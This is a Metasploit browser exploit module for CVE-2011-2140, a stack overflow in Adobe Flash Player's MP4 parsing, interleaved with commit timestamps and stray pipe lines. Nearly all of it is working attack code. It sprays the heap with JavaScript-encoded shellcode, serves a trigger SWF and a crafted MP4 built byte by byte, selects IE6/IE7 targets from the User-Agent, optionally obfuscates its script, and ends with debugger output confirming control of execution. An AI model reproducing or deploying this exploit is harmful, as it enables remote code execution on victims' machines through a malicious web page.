2012-02-10 06:10:28 +00:00
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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2012-02-21 01:40:50 +00:00
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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2012-02-10 06:10:28 +00:00
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info={})
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super(update_info(info,
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'Name' => "Adobe Flash Player MP4 SequenceParameterSetNALUnit Buffer Overflow",
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'Description' => %q{
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This module exploits a vulnerability found in Adobe Flash Player's Flash10u.ocx
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component. When processing a MP4 file (specifically the Sequence Parameter Set),
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Flash will see if pic_order_cnt_type is equal to 1, which sets the
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num_ref_frames_in_pic_order_cnt_cycle field, and then blindly copies data in
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offset_for_ref_frame on the stack, which allows arbitrary remote code execution
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under the context of the user. Numerous reports also indicate that this
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vulnerability has been exploited in the wild.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Alexander Gavrun', #RCA
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'Abysssec', #PoC
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'sinn3r' #Metasploit
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],
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'References' =>
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[
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[ 'CVE', '2011-2140' ],
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2012-02-10 13:05:26 +00:00
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[ 'OSVDB', '74439'],
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2012-02-10 06:10:28 +00:00
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[ 'BID', '49083' ],
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[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-276/' ],
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[ 'URL', 'http://www.kahusecurity.com/2011/cve-2011-2140-caught-in-the-wild/' ],
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[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb11-21.html' ],
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[ 'URL', 'http://0x1byte.blogspot.com/2011/11/analysis-of-cve-2011-2140-adobe-flash.html' ],
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[ 'URL', 'http://www.abysssec.com/blog/2012/01/31/exploiting-cve-2011-2140-another-flash-player-vulnerability/' ]
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],
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'Payload' =>
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{
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2012-03-08 22:41:32 +00:00
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'BadChars' => "\x00",
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2012-02-10 06:10:28 +00:00
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'StackAdjustment' => -3500
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},
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'DefaultOptions' =>
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{
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2012-05-07 07:41:02 +00:00
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'EXITFUNC' => "seh",
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2012-02-10 06:10:28 +00:00
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'InitialAutoRunScript' => 'migrate -f'
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', {} ],
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[ 'IE 6 on Windows XP SP3', { 'Offset' => '0x600' } ], #0x5f4 = spot on
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[ 'IE 7 on Windows XP SP3 / Vista', { 'Offset' => '0x600' } ]
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],
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'Privileged' => false,
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2012-02-10 06:13:39 +00:00
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'DisclosureDate' => "Aug 9 2011",
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2012-02-10 06:10:28 +00:00
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'DefaultTarget' => 0))
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register_options(
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[
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2012-03-08 21:05:12 +00:00
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OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
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2012-02-10 06:10:28 +00:00
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], self.class)
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end
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def get_target(agent)
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#If the user is already specified by the user, we'll just use that
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return target if target.name != 'Automatic'
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if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
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return targets[1]
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elsif agent =~ /MSIE 7/
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return targets[2]
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else
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return nil
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end
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end
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def on_request_uri(cli, request)
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agent = request.headers['User-Agent']
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my_target = get_target(agent)
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# Avoid the attack if the victim doesn't have the same setup we're targeting
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if my_target.nil?
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2012-04-20 19:31:42 +00:00
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print_error("Browser not supported: #{agent.to_s}")
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2012-03-08 22:16:42 +00:00
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send_not_found(cli)
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return
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2012-02-10 06:10:28 +00:00
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end
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# The SWF requests our MP4 trigger
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if request.uri =~ /\.mp4$/
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2012-04-20 19:31:42 +00:00
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print_status("Sending MP4")
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2012-02-10 06:10:28 +00:00
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send_response(cli, @mp4, {'Content-Type'=>'video/mp4'})
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return
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end
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2012-03-08 21:05:12 +00:00
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# The SWF request itself
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if request.uri =~ /\.swf$/
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2012-04-20 19:31:42 +00:00
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print_status("Sending SWF")
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2012-03-08 21:37:06 +00:00
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send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash'})
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return
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end
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2012-03-15 22:06:20 +00:00
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2012-03-08 21:37:06 +00:00
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# Redirect to a trailing slash so relative paths work properly
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if resource_uri != "/" and not request.uri.index("#{resource_uri}/")
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uri = resource_uri + "/"
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send_redirect(cli, uri)
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2012-03-08 21:05:12 +00:00
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return
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end
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2012-03-15 22:06:20 +00:00
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2012-02-10 06:10:28 +00:00
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# Set payload depending on target
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p = payload.encoded
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js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
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js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
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js = <<-JS
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var heap_obj = new heapLib.ie(0x20000);
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var code = unescape("#{js_code}");
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var nops = unescape("#{js_nops}");
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while (nops.length < 0x80000) nops += nops;
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var offset = nops.substring(0, #{my_target['Offset']});
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var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
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while (shellcode.length < 0x40000) shellcode += shellcode;
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2012-03-08 22:19:28 +00:00
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var block = shellcode.substring(0, (0x7ffc0-6)/2);
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2012-02-10 06:10:28 +00:00
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heap_obj.gc();
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for (var i=1; i < 0x300; i++) {
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heap_obj.alloc(block);
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}
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JS
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js = heaplib(js, {:noobfu => true})
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if datastore['OBFUSCATE']
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js = ::Rex::Exploitation::JSObfu.new(js)
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js.obfuscate
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end
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myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']
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2012-03-08 21:05:12 +00:00
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swf_uri = Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".swf"
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2012-02-10 06:10:28 +00:00
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html = %Q|
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<html>
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<head>
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<script>
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#{js}
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</script>
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</head>
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<body>
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<object width="1" height="1" type="application/x-shockwave-flash" data="#{swf_uri}">
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<param name="movie" value="#{swf_uri}">
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</object>
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</body>
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</html>
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html = html.gsub(/^\t\t/, '')
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2012-04-20 19:31:42 +00:00
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print_status("Sending HTML")
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2012-02-10 06:10:28 +00:00
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send_response(cli, html, {'Content-Type'=>'text/html'})
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end
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def exploit
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@mp4 = create_mp4
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2012-03-08 21:05:12 +00:00
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@swf = create_swf
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2012-02-10 06:10:28 +00:00
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super
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end
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2012-03-15 22:06:20 +00:00
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2012-03-08 21:05:12 +00:00
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def create_swf
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path = ::File.join( Msf::Config.install_root, "data", "exploits", "mp4player.swf" )
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fd = ::File.open( path, "rb" )
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swf = fd.read(fd.stat.size)
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fd.close
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2012-03-15 22:06:20 +00:00
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return swf
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2012-03-08 21:05:12 +00:00
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end
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2012-02-10 06:10:28 +00:00
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def create_mp4
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ftypAtom = "\x00\x00\x00\x20" #Size
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ftypAtom << "ftypisom"
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ftypAtom << "\x00\x00\x02\x00"
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ftypAtom << "isomiso2avc1mp41"
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mdatAtom = "\x00\x00\x00\x10" #Size
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mdatAtom << "mdat"
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mdatAtom << "\x00\x00\x02\x8B\x06\x05\xFF\xFF"
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moovAtom1 = "\x00\x00\x08\x83" #Size
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moovAtom1 << "moov" #Move header box header
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moovAtom1 << "\x00\x00\x00"
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moovAtom1 << "lmvhd" # Type
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moovAtom1 << "\x00\x00\x00\x00" # Version/Flags
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moovAtom1 << "\x7C\x25\xB0\x80\x7C\x25\xB0\x80" # Creation time
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moovAtom1 << "\x00\x00\x03\xE8" # Time scale
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moovAtom1 << "\x00\x00\x2F\x80" # Duration
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moovAtom1 << "\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
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moovAtom1 << "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00"
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moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x02\xFA"
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moovAtom1 << "trak" # Track box header
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moovAtom1 << "\x00\x00\x00\x5C"
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moovAtom1 << "tkhd"
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moovAtom1 << "\x00\x00\x00\x0F"
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moovAtom1 << "\x7C\x25\xB0\x80\x7C\x25\xB0\x80" # Creation time
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moovAtom1 << "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x2E\xE0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
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moovAtom1 << "\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
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moovAtom1 << "\x00\x00\x00\x00\x40\x00\x00\x00\x01\x42\x00\x00\x01\x42\x00\x00\x00\x00\x02"
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moovAtom1 << "rmdia"
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moovAtom1 << "\x00\x00\x00\x20" # Size
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moovAtom1 << "mdhd" # Media header box
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moovAtom1 << "\x00\x00\x00\x00" # Version/Flags
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moovAtom1 << "\x7C\x25\xB0\x80\x7C\x25\xB0\x80" # Creation time
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moovAtom1 << "\x00\x00\x00\x01" # Time scale
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moovAtom1 << "\x00\x00\x00\x0C" # Duration
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moovAtom1 << "\x55\xC4\x00\x00"
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moovAtom1 << "\x00\x00\x00\x2D" # Size
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moovAtom1 << "hdlr" # Handler Reference header
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moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x00"
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moovAtom1 << "vide" # Handler type
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moovAtom1 << "\x00\x00\x00\x00\x00"
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moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00"
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moovAtom1 << "VideoHandler" # Handler name
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moovAtom1 << "\x00\x00\x00\x02\x1D"
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moovAtom1 << "minf"
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moovAtom1 << "\x00\x00\x00\x14"
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moovAtom1 << "vmhd"
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moovAtom1 << "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x24"
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moovAtom1 << "dinf" # Data information box header
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moovAtom1 << "\x00\x00\x00\x1c"
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moovAtom1 << "dref" # Data reference box
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moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x01"
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moovAtom1 << "\x00\x00\x00\x0C" # Size
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moovAtom1 << "url " # Data entry URL box
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moovAtom1 << "\x00\x00\x00\x01" # Location / version / flags
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moovAtom1 << "\x00\x00\x09\xDD" # Size
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moovAtom1 << "stbl"
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moovAtom1 << "\x00\x00\x08\x99"
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moovAtom1 << "stsd"
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moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x01"
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moovAtom1 << "\x00\x00\x08\x89" # Size
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moovAtom1 << "avc1"
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moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
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moovAtom1 << "\x01\x42" # Width
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moovAtom1 << "\x01\x42" # Height
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moovAtom1 << "\x00\x48\x00\x00\x00\x48\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
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moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
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moovAtom1 << "\x18" # Depth
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moovAtom1 << "\xFF\xFF"
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moovAtom1 << "\x00\x00\x08\x33" # Size
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moovAtom1 << "avcC"
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moovAtom1 << "\x01" # Config version
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moovAtom1 << "\x64" # Avc profile indication
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moovAtom1 << "\x00" # Compatibility
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moovAtom1 << "\x15" # Avc level indication
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moovAtom1 << "\xFF\xE1"
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# Although the fields have different values, they all become 0x0c0c0c0c
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# in memory.
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cycle = "\x00\x00\x00"
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cycle << "\x30\x30\x30\x30" #6th
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cycle << "\x00\x00\x00"
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cycle << "\x18\x18\x18\x18" #7th
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cycle << "\x00\x00\x00"
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cycle << "\x0c\x0c\x0c\x0c" #8th
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cycle << "\x00\x00\x00"
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cycle << "\x06\x06\x06\x06" #1st
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cycle << "\x00\x00\x00"
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cycle << "\x03\x03\x03\x03"
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cycle << "\x00\x00\x00\x01\x81\x81\x81\x80\x00\x00\x00"
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cycle << "\xc0\xc0\xc0\xc0" # 4th
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cycle << "\x00\x00\x00"
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cycle << "\x60\x60\x60\x60"
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spsunit = "\x08\x1A\x67\x70\x34\x32\x74\x70\x00\x00\xAF\x88\x88\x84\x00\x00\x03\x00\x04\x00\x00\x03\x00\x3F\xFF\xFF\xFF\xFF\xFF"
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spsunit << "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"
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spsunit << "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFC"
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spsunit << cycle * 35
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spsunit << "\x00\x00\x00\x30\x30\x03\x03\x03\x03\x00\x00\x00\xB2\x2C"
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moovAtom2 = "\x00\x00\x00\x18"
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moovAtom2 << "stts"
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moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0C\x00\x00\x00\x01"
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moovAtom2 << "\x00\x00\x00\x14"
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moovAtom2 << "stss"
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moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00"
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moovAtom2 << "pctts"
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moovAtom2 << "\x00\x00\x00\x00\x00\x00"
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moovAtom2 << "\x00\x0C\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00"
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moovAtom2 << "\x01\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x02"
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moovAtom2 << "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x00"
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moovAtom2 << "\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x02"
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moovAtom2 << "\x00\x00\x00\x1C"
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moovAtom2 << "stsc"
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moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01"
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moovAtom2 << "\x00\x00\x00\x44"
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moovAtom2 << "stsz"
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moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
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moovAtom2 << "\x0C\x00\x00\x2F\x8D\x00\x00\x0C\xFE\x00\x00\x04\x42\x00\x00\x0B\x20\x00\x00\x04\x58\x00\x00\x07\x19\x00\x00\x07"
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moovAtom2 << "\x63\x00\x00\x02\xD6\x00\x00\x03\xC1\x00\x00\x0A\xDF\x00\x00\x04\x9B\x00\x00\x09\x39"
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moovAtom2 << "\x00\x00\x00\x40"
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|
moovAtom2 << "stco"
|
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|
|
moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x0C\x00\x00\x00\x30\x00\x00\x2F\xBD\x00\x00\x3D\x8A\x00\x00\x48\x19\x00\x00\x5A\xF4"
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moovAtom2 << "\x00\x00\x66\x1F\x00\x00\x73\xEA\x00\x00\x82\x32\x00\x00\x8A\xFA\x00\x00\x95\x51\x00\x00\xA7\x16\x00\x00\xB1\xE5"
|
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|
|
|
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|
|
moovAtom = moovAtom1 + spsunit + moovAtom2
|
|
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|
|
m = ftypAtom + mdatAtom + moovAtom
|
|
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|
|
return m
|
|
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|
|
end
|
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|
|
end
|
|
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|
=begin
|
|
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|
|
C:\WINDOWS\system32\Macromed\Flash\Flash10u.ocx
|
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|
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|
|
Flash10u+0x5b4e8:
|
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|
|
|
Missing image name, possible paged-out or corrupt data.
|
|
|
|
|
1f06b4e8 8901 mov dword ptr [ecx],eax ds:0023:020c0000=00905a4d
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|
|
|
|
0:008> !exchain
|
|
|
|
|
020bfdfc: <Unloaded_ud.drv>+c0c0c0b (0c0c0c0c)
|
|
|
|
|
|
|
|
|
|
ECX points to 0x0c0c0c0c at the time of the crash:
|
|
|
|
|
0:008> r
|
|
|
|
|
eax=00000000 ebx=00000000 ecx=0c0c0c0c edx=7c9032bc esi=00000000 edi=00000000
|
|
|
|
|
eip=0c0c0c0c esp=020befa8 ebp=020befc8 iopl=0 nv up ei pl zr na pe nc
|
|
|
|
|
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00050246
|
|
|
|
|
<Unloaded_ud.drv>+0xc0c0c0b:
|
|
|
|
|
0c0c0c0c ?? ???
|
|
|
|
|
|
|
|
|
|
Example of SWF player URI:
|
|
|
|
|
http://www.jeroenwijering.com/embed/mediaplayer.swf
|
|
|
|
|
|
|
|
|
|
To-do:
|
|
|
|
|
IE 8 target
|
2012-02-10 06:13:39 +00:00
|
|
|
=end
|
